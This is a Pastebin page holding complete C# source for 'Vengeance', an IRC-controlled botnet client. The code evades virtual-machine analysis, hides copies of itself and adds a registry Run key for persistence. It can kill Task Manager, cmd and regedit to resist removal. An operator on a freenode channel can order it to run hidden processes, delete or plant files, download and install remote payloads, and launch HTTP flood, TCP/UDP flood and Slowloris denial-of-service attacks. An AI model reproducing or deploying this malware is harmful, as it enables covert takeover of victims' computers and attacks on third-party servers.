Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #region USING
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Net;
- using System.Net.Sockets;
- using System.Text;
- using System.Threading;
- using System.Windows.Forms;
- using System.IO.Compression;
- using System.Reflection;
- #endregion
- namespace Vengeance
- {
- class Program
- {
- // Refine secure
- // Test vengeance_update
- #region Varriables
- #region Securing Settings
- private static string registryKey = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
- private static string subkeyName = "Vengeance";
- private static bool unstopable = false;
- private static List<string> PossibleDirectories = new List<string>() {
- @"C:\Users\" + Environment.UserName + @"\AppData\Local\%%TEMP%%\",
- @"C:\Users\" + Environment.UserName + @"\.%%TEMP%%\",
- };
- #endregion
- #region IRC Connections Settings
- private static IrcClient client;
- private static string IRCserver = "irc.freenode.net";
- private static int IRCport = 6697;
- private static string channel = "#kiwiirc-iamfree";
- private static string AUTHUser = "time4vengeance";
- private static string AUTHToken = "admin";
- private static int SendDelay = 1000;
- private static bool AnonymousUsername = false;
- #endregion
- #region Botnet Settings
- private static int BotnetVersion = 1;
- private static string AdminSplitter = " ";
- private static string CommandSplitter = "(#)";
- private static bool EnableSecure = false;
- #endregion
- #region Command Temporary Varriables
- private static List<DoS> DOSThreads = new List<DoS>();
- private static Thread ListingFileThread, ListingProcThread;
- private static bool ListingStorage = false, ListingProcess = false;
- private static List<string> UserAgents = new List<string>() {
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4",
- "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
- };
- #endregion
- #endregion
- #region Main - Entry Method
- static void Main(string[] args)
- {
- try
- {
- #region Make Sure I am NOT Being Watch
- // TY https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine
- using (var searcher = new System.Management.ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
- {
- using (var items = searcher.Get())
- {
- foreach (var item in items)
- {
- string manufacturer = item["Manufacturer"].ToString().ToLower();
- if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpper().Contains("VIRTUAL"))
- || manufacturer.ToUpper().Contains("VMWARE")
- || item["Model"].ToString() == "VirtualBox")
- {
- Environment.Exit(1);
- }
- }
- }
- }
- RegistryKey rk = Registry.CurrentUser.OpenSubKey(registryKey.Replace("HKEY_CURRENT_USER\\", string.Empty));
- if (rk.GetValue(subkeyName, null) != null)
- {
- // Commented for DEBUG
- // Thread.Sleep(10 * (1000 * 60));
- }
- #endregion
- #region Only 1 running
- if (Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1)
- {
- Console.WriteLine(" [*] More than one running! Shutting Down!");
- Environment.Exit(1);
- }
- else
- {
- Console.WriteLine(" [*] Only One Running! Continuing!");
- }
- #endregion
- #region Secure
- if (EnableSecure)
- {
- rk = Registry.CurrentUser.OpenSubKey(registryKey.Replace("HKEY_CURRENT_USER\\", string.Empty));
- if (rk.GetValue(subkeyName, null) != null)
- {
- Console.WriteLine(" [*] Already Installed!");
- if (unstopable) {
- Thread X = new Thread(() => {
- while (true)
- {
- try
- {
- foreach (Process p in Process.GetProcessesByName("cmd"))
- {
- p.Kill();
- }
- foreach (Process p in Process.GetProcessesByName("powershell"))
- {
- p.Kill();
- }
- foreach (Process p in Process.GetProcessesByName("Taskmgr"))
- {
- p.Kill();
- }
- foreach (Process p in Process.GetProcessesByName("regedit"))
- {
- p.Kill();
- }
- }
- catch (Exception)
- {
- Console.WriteLine(" [-] Unable To Kill Process! Continuing!");
- }
- Thread.Sleep(100);
- }
- });
- X.Start();
- Console.WriteLine(" [*] Now Unstoppable!");
- }
- }
- else
- {
- Console.WriteLine(" [*] Securing...");
- Random r = new Random(DateTime.UtcNow.Millisecond);
- string dir = PossibleDirectories[r.Next(0, PossibleDirectories.Count - 1)].Replace("%%TEMP%%", subkeyName);
- string file = dir + subkeyName + ".exe";
- if (!Directory.Exists(dir))
- {
- // Add directory + file
- DirectoryInfo di = Directory.CreateDirectory(dir);
- di.Attributes = FileAttributes.Hidden;
- File.Copy(Application.ExecutablePath, file);
- FileInfo fi = new FileInfo(file);
- fi.Attributes = FileAttributes.Hidden;
- Registry.SetValue(registryKey, subkeyName, file);
- Process.Start(file);
- Console.WriteLine(" [*] Folder and File Created... Secured...");
- Environment.Exit(0);
- }
- else
- {
- Console.WriteLine(" [*] Foler Already Exists... Checking For Files...");
- if (!File.Exists(file))
- {
- // Add file
- File.Copy(Application.ExecutablePath, file);
- FileInfo fi = new FileInfo(file);
- fi.Attributes = FileAttributes.Hidden;
- Registry.SetValue(registryKey, subkeyName, file);
- Process.Start(file);
- Console.WriteLine(" [*] File Created... Secured...");
- Environment.Exit(0);
- }
- else
- {
- Console.WriteLine(" [*] File Already Exists...");
- }
- }
- }
- }
- else
- {
- Console.WriteLine(" [*] Securing Disabled...");
- }
- #endregion
- #region Connect to IRC
- Console.WriteLine(" [*] Connecting To " + IRCserver + ":" + IRCport + "...");
- client = new IrcClient(IRCserver, IRCport, true);
- if (!AnonymousUsername)
- {
- client.Nick = Environment.UserName.Split(' ')[0] + "-BOT-" + RandomString(5);
- }
- else {
- client.Nick = "ANON" + "-BOT-" + RandomString(5);
- }
- client.OnConnect += Client_OnConnect;
- client.ChannelMessage += Client_ChannelMessage;
- client.PrivateMessage += Client_PrivateMessage;
- client.Pinged += Client_Pinged;
- try
- {
- client.Connect();
- }
- catch (SocketException)
- {
- Console.WriteLine(" [*] Unable To Connect To " + IRCserver + ":" + IRCport + "...\r\n [*] RESTARTING APPLICATION");
- Main(args);
- return;
- }
- #endregion
- #region Stall Application
- while (true)
- {
- Thread.Sleep(5 * 1000);
- }
- #endregion
- }
- catch (Exception)
- {
- Console.WriteLine(" [*] Unexpected Error! ");
- }
- }
- #endregion
- #region IRC Event Handlers
- private static void Client_Pinged(object sender, EventArgs e)
- {
- Console.WriteLine(" [*] Client Was Pinged By " + e + "! Responded With A Pong!");
- }
- private static void Client_PrivateMessage(object sender, PrivateMessageEventArgs e)
- {
- if (e.From == AUTHUser)
- {
- if (e.Message.Split(new string[] { AdminSplitter }, StringSplitOptions.None)[0] == AUTHToken)
- {
- e.Message = e.Message.Replace(AUTHToken + AdminSplitter, string.Empty);
- Console.WriteLine(" [+] Privately Recieved From " + e.From + " \"" + e.Message + "\"");
- Thread X = new Thread(() => {
- HandleCommand(e.Message);
- });
- X.Start();
- }
- }
- }
- private static void Client_ChannelMessage(object sender, ChannelMessageEventArgs e)
- {
- if (e.From == AUTHUser)
- {
- if (e.Message.Split(new string[] { AdminSplitter }, StringSplitOptions.None)[0] == AUTHToken)
- {
- e.Message = e.Message.Replace(AUTHToken + AdminSplitter, string.Empty);
- Console.WriteLine(" [+] Recieved From " + e.From + " \"" + e.Message + "\"");
- Thread X = new Thread(() => {
- HandleCommand(e.Message);
- });
- X.Start();
- }
- }
- }
- private static void Client_OnConnect(object sender, EventArgs e)
- {
- Console.WriteLine(" [*] Connected!\r\n [*] Joining Channel " + channel + " As " + client.Nick + "...");
- client.JoinChannel(channel);
- Console.WriteLine(" [*] Channel Joined!");
- Client_SendMessage(" [*] Bot Reporting For Duty! Version = " + BotnetVersion);
- }
- private static void Client_SendMessage(string message)
- {
- client.SendMessage(channel, message);
- Console.WriteLine(" [+] Sent \"" + message + "\"");
- }
- #endregion
- #region Command Handler
- private static void HandleCommand(string c)
- {
- string[] ca = c.Split(new string[] { CommandSplitter }, StringSplitOptions.None);
- try
- {
- #region System Operations
- if (c.ToLower() == "machine_info")
- {
- #region machine_info
- Client_SendMessage(" ~~~ Now Listing Info ~~~");
- Thread.Sleep(SendDelay);
- Client_SendMessage(" [*] Machine Name: " + Environment.MachineName);
- Thread.Sleep(SendDelay);
- Client_SendMessage(" [*] Current User: " + Environment.UserDomainName + "\\" + Environment.UserName);
- Thread.Sleep(SendDelay);
- DateTime dt = DateTime.Now;
- Client_SendMessage($" [*] Machine Time (H-M-S): {dt.Hour}-{dt.Minute}-{dt.Second}");
- Thread.Sleep(SendDelay);
- Client_SendMessage(" ~~~ Done Listing Info ~~~");
- #endregion
- }
- #endregion
- #region DoS/Process Operations
- #region DoS
- else if (ca[0].ToLower() == "dos_start")
- {
- #region dos_start
- if (ca.Length == 5)
- {
- #region HTTP Flood
- // Vars
- string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
- ushort port = ushort.Parse(ca[2]);
- int duration = int.Parse(ca[3]);
- string resource = ca[4];
- // Start and Add To Lists
- Thread X = new Thread(() =>
- {
- Client_SendMessage(" [*] Launching HTTP FLOOD Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
- HTTP_FLOOD(ip, port, ca[1], resource);
- });
- // Start and Add To Lists
- DoS current = new DoS(new List<Thread> { X }, ip, port, "HTTP FLOOD", duration);
- X.Start();
- DOSThreads.Add(current);
- // Wait
- Thread.Sleep(duration * 1000);
- //End + Remove From Lists
- DOSThreads.Remove(current);
- X.Abort();
- #endregion
- }
- else if (ca.Length == 6)
- {
- #region L3
- // Vars
- string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
- ushort port = ushort.Parse(ca[2]);
- int duration = int.Parse(ca[3]);
- int packetsize = int.Parse(ca[4]);
- byte[] packet = Encoding.UTF8.GetBytes(RandomString(packetsize));
- // Start and Add To Lists
- Thread X = new Thread(() =>
- {
- if (ca[5].ToLower() == "tcp")
- {
- Client_SendMessage(" [*] Launching TCP Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
- TCPDOS(ip, port, packet);
- }
- else if (ca[5].ToLower() == "udp")
- {
- Client_SendMessage(" [*] Launching UDP Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
- UDPDOS(ip, port, packet);
- }
- });
- // Start and Add To Lists
- DoS current = new DoS(new List<Thread> { X }, ip, port, ca[5].ToUpper(), duration);
- X.Start();
- DOSThreads.Add(current);
- // Wait
- Thread.Sleep(duration * 1000);
- //End + Remove From Lists
- DOSThreads.Remove(current);
- X.Abort();
- #endregion
- }
- else if (ca.Length == 7) {
- #region Slow Loris
- // Vars
- string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
- ushort port = ushort.Parse(ca[2]);
- int duration = int.Parse(ca[3]);
- string resource = ca[4];
- int length = int.Parse(ca[5]);
- int delay = int.Parse(ca[6]);
- // Start and Add To Lists
- Client_SendMessage(" [*] Launching SLOW LORIS Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
- List<Thread> sessions = new List<Thread>();
- for (int x = 0; x < 250; x++)
- {
- Thread session = new Thread(() =>
- {
- HTTP_SlowLoris(ip, port, ca[1], resource, length, delay);
- });
- session.Start();
- sessions.Add(session);
- }
- // Start and Add To Lists
- DoS current = new DoS(sessions, ip, port, "SLOW LORIS", duration);
- DOSThreads.Add(current);
- // Wait
- Thread.Sleep(duration * 1000);
- //End + Remove From Lists
- DOSThreads.Remove(current);
- current.AbortDoS();
- #endregion
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (c.ToLower() == "dos_stop")
- {
- #region dos_stop
- int CurrentDoS = DOSThreads.Count;
- try
- {
- foreach (DoS X in DOSThreads)
- {
- try
- {
- X.AbortDoS();
- DOSThreads.Remove(X);
- }
- catch (Exception)
- {
- }
- }
- }
- catch (InvalidOperationException)
- {
- }
- if (CurrentDoS == 0)
- {
- // No running
- Client_SendMessage(" [*] No Attacks To Stop!");
- }
- else
- {
- // 1 or More running
- Client_SendMessage(" [*] All Current DOS Attacks Stopped!");
- }
- #endregion
- }
- else if (c.ToLower() == "dos_info")
- {
- #region DoS Info
- if (DOSThreads.Count == 0)
- {
- // No running
- Client_SendMessage(" [*] No Attacks Running!");
- return;
- }
- else
- {
- // 1 or More running
- Client_SendMessage(" ~~~ DoS Attack Info ~~~");
- }
- foreach (DoS DOS in DOSThreads)
- {
- if (DOS.AttackMbps != 0)
- {
- Client_SendMessage(string.Format("Target: {0}:{1} | Method: {2} | Seconds Left: {3} | Current Speed (Mbps): {4} | Sessions: {5}",
- DOS.TargetIP, DOS.TargetPort, DOS.AttackMethod, DOS.AttackDuration, DOS.AttackMbps, DOS.sessions.Count));
- }
- else {
- Client_SendMessage(string.Format("Target: {0}:{1} | Method: {2} | Seconds Left: {3} | Current Speed (Mbps): {4} | Sessions: {5}",
- DOS.TargetIP, DOS.TargetPort, DOS.AttackMethod, DOS.AttackDuration, "N/A", DOS.sessions.Count));
- }
- Thread.Sleep(SendDelay);
- }
- Client_SendMessage(" ~~~ Done Listing Info ~~~");
- #endregion
- }
- #endregion
- #region Process
- else if (ca[0].ToLower() == "process_start")
- {
- #region Start Process
- if (ca.Length == 4)
- {
- Process P = new Process();
- P.StartInfo.FileName = ca[1];
- P.StartInfo.Arguments = ca[2];
- if (ca[3].ToLower() == "true")
- {
- P.StartInfo.CreateNoWindow = true;
- P.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- }
- P.Start();
- Client_SendMessage(" [*] Process Started");
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (ca[0].ToLower() == "process_stop_id")
- {
- #region Stop Process ID
- if (ca.Length == 2)
- {
- try
- {
- int pid = int.Parse(ca[1]);
- Process p = Process.GetProcessById(pid);
- p.Kill();
- Client_SendMessage(" [*] Process Killed!");
- }
- catch (ArgumentException)
- {
- Client_SendMessage(" [*] Process Not Found!");
- }
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (ca[0].ToLower() == "process_stop_name")
- {
- #region Stop Process Name
- if (ca.Length == 2)
- {
- bool killed = false;
- foreach (Process p in Process.GetProcessesByName(ca[1].Replace(".exe", string.Empty)))
- {
- if (!killed) killed = true;
- p.Kill();
- }
- if (!killed) { Client_SendMessage(" [*] No Processs Found!"); }
- else { Client_SendMessage(" [*] Process Killed"); }
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (c.ToLower() == "process_list")
- {
- #region List Process
- ListingProcThread = new Thread(() =>
- {
- // already listing storage
- if (ListingProcess)
- {
- Client_SendMessage(" [*] Already Listing Processess! Please Wait!");
- return;
- }
- ListingProcess = true;
- Client_SendMessage("~~~ STARTING ~~~");
- Client_SendMessage("~~~ PROCESSESS ~~~");
- foreach (Process proc in Process.GetProcesses())
- {
- Client_SendMessage(proc.ProcessName + ".exe ~~~ " + proc.Id);
- Thread.Sleep(SendDelay);
- }
- Client_SendMessage("~~~ DONE ~~~");
- ListingProcess = false;
- });
- ListingProcThread.Start();
- #endregion
- }
- else if (c.ToLower() == "process_list_stop")
- {
- #region Stop Process Listing
- if (!ListingProcess || ListingProcThread == null)
- {
- Client_SendMessage(" [*] Not Listing Anything Right Now!");
- return;
- }
- ListingProcThread.Abort();
- ListingProcess = false;
- Client_SendMessage(" [*] Process Listing Cancelled!");
- #endregion
- }
- #endregion
- #endregion
- #region Transfer/File Operations
- else if (ca[0].ToLower() == "storage_list")
- {
- #region List Items In DIR
- if (ca.Length == 2)
- {
- ListingFileThread = new Thread(() =>
- {
- // already listing storage
- if (ListingStorage)
- {
- Client_SendMessage(" [*] Already Listing A Directory! Please Wait!");
- return;
- }
- // folder exists
- if (!Directory.Exists(ca[1]))
- {
- Client_SendMessage(" [*] Directory Does NOT Exist!");
- return;
- }
- // if its a file
- if (File.Exists(ca[1]))
- {
- Client_SendMessage(" [*] Can't List A File!");
- return;
- }
- ListingStorage = true;
- Client_SendMessage("~~~ STARTING ~~~");
- // vars
- bool folders = false; bool files = false;
- foreach (string folder in Directory.GetDirectories(ca[1]))
- {
- if (!folders)
- {
- Client_SendMessage("~~~ DIRECTORIES ~~~");
- folders = true;
- }
- Client_SendMessage(folder);
- Thread.Sleep(SendDelay);
- }
- foreach (string file in Directory.GetFiles(ca[1]))
- {
- if (!files)
- {
- Client_SendMessage("~~~ FILES ~~~");
- files = true;
- }
- Client_SendMessage(file);
- Thread.Sleep(SendDelay);
- }
- // EMPTY
- if (!files && !folders)
- {
- Client_SendMessage("~~~ EMPTY ~~~");
- }
- Client_SendMessage("~~~ DONE ~~~");
- ListingStorage = false;
- });
- ListingFileThread.Start();
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (c.ToLower() == "storage_list_stop")
- {
- #region List Storage Stop
- if (!ListingStorage || ListingFileThread == null)
- {
- Client_SendMessage(" [*] Not Listing Anything Right Now!");
- return;
- }
- ListingFileThread.Abort();
- ListingStorage = false;
- Client_SendMessage(" [*] Storage Listing Cancelled!");
- #endregion
- }
- else if (ca[0].ToLower() == "storage_delete")
- {
- #region Storage Delete
- if (ca.Length == 2)
- {
- try
- {
- File.Delete(ca[1]);
- Client_SendMessage(" [*] File Deleted");
- }
- catch (Exception)
- {
- Client_SendMessage(" [*] Error! Unable to delete file!");
- }
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (ca[0].ToLower() == "storage_create")
- {
- #region Storage Create
- if (ca.Length == 3)
- {
- try
- {
- File.WriteAllText(ca[1], ca[2]);
- Client_SendMessage(" [*] File Created");
- }
- catch (IOException)
- {
- Client_SendMessage(" [*] Error! Failed to create file!");
- }
- }
- #endregion
- }
- else if (ca[0].ToLower() == "storage_download")
- {
- #region Storage Download
- if (ca.Length == 3)
- {
- try
- {
- WebClient WC = new WebClient();
- WC.DownloadFile(ca[1], ca[2]);
- Client_SendMessage(" [*] File Downloaded");
- }
- catch (Exception)
- {
- Client_SendMessage(" [*] Error! Failed to download file and or save it!");
- }
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- // storage_upload
- #endregion
- #region Vengeance Options
- else if (c.ToLower() == "vengeance_close")
- {
- #region Close Botnet
- Client_SendMessage(" [*] Bot Shutting Down!");
- client.Disconnect();
- Thread.Sleep(2 * 1000);
- Environment.Exit(0);
- #endregion
- }
- else if (ca[0].ToLower() == "vengeance_update")
- {
- #region Update Botnet
- if (ca.Length == 4)
- {
- try
- {
- // Make sure file doenst already exist
- if (File.Exists(Environment.CurrentDirectory + ca[2]))
- {
- Client_SendMessage(" [*] File Already Exists!");
- return;
- }
- // Make sure version is new
- try
- {
- int version = int.Parse(ca[3]);
- if (BotnetVersion == version)
- {
- Client_SendMessage(" [*] Already That Version!");
- return;
- }
- }
- catch (FormatException)
- {
- Client_SendMessage(" [*] Update Version Not Valid!");
- return;
- }
- WebClient wc = new WebClient();
- wc.DownloadFile(ca[1], ca[2]);
- Client_SendMessage(" [*] Update Downloaded!");
- Registry.SetValue(registryKey, subkeyName, Environment.CurrentDirectory + ca[2]);
- Client_SendMessage(" [*] New Client Will Run On Restart!");
- }
- catch (Exception)
- {
- Client_SendMessage(" [*] Update Failed!");
- }
- }
- else
- {
- Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- else if (c.ToLower() == "vengeance_remove")
- {
- #region Remove Botnet
- Client_SendMessage(" [*] Removing Auto Start!");
- RegistryKey rk = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
- string location = string.Empty;
- if (rk.GetValue("OopsBotnet", null) != null)
- {
- // Get Location and Remove From Startup
- location = rk.GetValue("OopsBotnet", null).ToString();
- rk.DeleteValue("OopsBotnet");
- }
- // Set it to run next boot
- Registry.SetValue(@"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "tmp",
- "C:\\Windows\\system32\\cmd.exe /q /c rmdir /s /q \"" + location + "\"");
- Client_SendMessage(" [*] Done! Restarting!");
- Process.Start("shutdown", "/r /f /t 00");
- #endregion
- }
- else if (c.ToLower() == "vengeance_help")
- {
- #region Help Botnet
- List<string> helpInfo = new List<string>()
- {
- " ~~~ Vengeance Commands ~~~",
- "vengeance_help = Shows commands for the target device.",
- "vengeance_close = Stop bot on target device.",
- $"vengeance_update{CommandSplitter}URL{CommandSplitter}File Name{CommandSplitter}Version Number = Updates Bot!",
- "vengeance_remove = Removes bot from target device.",
- " ",
- " ~~~ Process Commands ~~~",
- $"process_start{CommandSplitter}Filename{CommandSplitter}Arguments(Seperated By Spaces){CommandSplitter}Hide It(true or false) = Starts a proces on the target system!",
- $"process_stop_id{CommandSplitter}Process ID = Stops a process based off of its ID",
- $"process_stop_name{CommandSplitter}Process Name = Stops a process based off of its Name ** It stops all running with that name! **",
- "process_list = Lists all current running process",
- "process_list_stop = Stops command \"process_list\"",
- " ",
- " ~~~ File Commands ~~~",
- $"storage_list{CommandSplitter}Directory = Lists all items in a directory!",
- $"storage_list_stop = Stops listing all items in a directory.",
- $"storage_delete{CommandSplitter}Item = Deletes all items specified.",
- $"storage_create{CommandSplitter}File Name{CommandSplitter}Contents = Creates a file and stores it's contents.",
- $"storage_download{CommandSplitter}URL{CommandSplitter}File Name = Downloads and Saves File",
- " ",
- " ~~~ DoS Commands ~~~",
- "dos_info = Returns info about all current DoS attacks on that device!",
- $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Resource = Starts a HTTP FLOOD DoS!",
- $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Packet Size(Bytes){CommandSplitter}Method(TCP or UDP) = Starts a DoS using TCP or UDP!",
- $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Resource{CommandSplitter}Length (Content-Length){CommandSplitter}Delay(Seconds) = Starts a SLOW LORIS DoS!",
- "dos_stop = Stops all current DoS attacks!",
- " ",
- " ~~~ Machine Commands ~~~",
- "machine_info = Returns information about current device!",
- };
- Client_SendMessage("~~~ COMMANDS ~~~");
- foreach (string cmd in helpInfo)
- {
- if (cmd.Substring(0, 1) != " ")
- {
- Client_SendMessage(" " + AUTHToken + AdminSplitter + cmd);
- }
- else
- {
- Client_SendMessage(cmd);
- }
- Thread.Sleep(SendDelay);
- }
- Client_SendMessage("~~~ COMMANDS DONE ~~~");
- #endregion
- }
- #endregion
- #region Else
- else
- {
- Client_SendMessage($" [*] Command Does Not Exist! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
- }
- #endregion
- }
- catch (Exception EX)
- {
- Client_SendMessage(" [*] Unexpected Error! Error Message : " + EX.Message);
- }
- }
- #endregion
- #region DoS
- #region Layer 3
- private static void UDPDOS(string ip, ushort port, byte[] packet, long sent = 0, Stopwatch sw = null)
- {
- // Speed Timer
- if (sw == null)
- {
- sw = new Stopwatch();
- sw.Start();
- }
- try
- {
- Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- while (true)
- {
- s.SendTo(packet, new IPEndPoint(IPAddress.Parse(ip), port));
- // Calc new Speed
- sent++;
- foreach (DoS d in DOSThreads)
- {
- if (d.TargetIP == ip && d.TargetPort == port && d.AttackMethod == "UDP")
- {
- d.CalculateMBps(sent * packet.Length / sw.Elapsed.TotalSeconds);
- }
- }
- }
- }
- catch (SocketException)
- {
- UDPDOS(ip, port, packet, sent, sw);
- }
- }
- private static void TCPDOS(string ip, ushort port, byte[] packet, long sent = 0, Stopwatch sw = null)
- {
- // Speed Timer
- if (sw == null)
- {
- sw = new Stopwatch();
- sw.Start();
- }
- try
- {
- Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- s.Connect(ip, port);
- while (true)
- {
- s.Send(packet);
- // Calc new Speed
- sent++;
- foreach (DoS d in DOSThreads)
- {
- if (d.TargetIP == ip && d.TargetPort == port && d.AttackMethod == "TCP")
- {
- d.CalculateMBps(sent * packet.Length / sw.Elapsed.TotalSeconds);
- }
- }
- }
- }
- catch (SocketException)
- {
- TCPDOS(ip, port, packet, sent, sw);
- }
- }
- #endregion
- #region Layer 7
- #region HTTP
- private static void HTTP_FLOOD(string ip, ushort port, string host, string resouce) {
- try
- {
- Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- s.Connect(ip, port);
- Random r = new Random(DateTime.UtcNow.Millisecond);
- while (true)
- {
- byte[] packet = Encoding.UTF8.GetBytes($"GET {resouce} HTTP/1.1\r\nHost: {host}\r\nConnection: Keep-Alive\r\n" +
- $"User-Agent: {UserAgents[r.Next(0, UserAgents.Count - 1)]}\r\n\r\n");
- s.Send(packet);
- }
- }
- catch (SocketException)
- {
- HTTP_FLOOD(ip, port, host, resouce);
- }
- }
- private static void HTTP_SlowLoris(string ip, ushort port, string host, string resouce, int length, int delay)
- {
- try
- {
- Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- s.Connect(ip, port);
- Random r = new Random(DateTime.UtcNow.Millisecond);
- while (true)
- {
- byte[] packet = Encoding.UTF8.GetBytes($"POST {resouce} HTTP/1.1\r\nHost: {host}\r\nConnection: Keep-Alive\r\n" +
- $"User-Agent: {UserAgents[r.Next(0, UserAgents.Count - 1)]}\r\nContent-Length: {length}\r\n\r\n");
- s.Send(packet);
- Thread.Sleep(delay * 1000);
- }
- }
- catch (SocketException)
- {
- HTTP_SlowLoris(ip, port, host, resouce, length, delay);
- }
- }
- #endregion
- #endregion
- #endregion
- #region Other Methods
- private static string RandomString(int length)
- {
- char[] chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".ToCharArray();
- Random r = new Random(DateTime.UtcNow.Millisecond);
- string final = string.Empty;
- for (int x = 0; x < length; x++)
- {
- final += chars[r.Next(0, chars.Length)];
- }
- return final;
- }
- #endregion
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement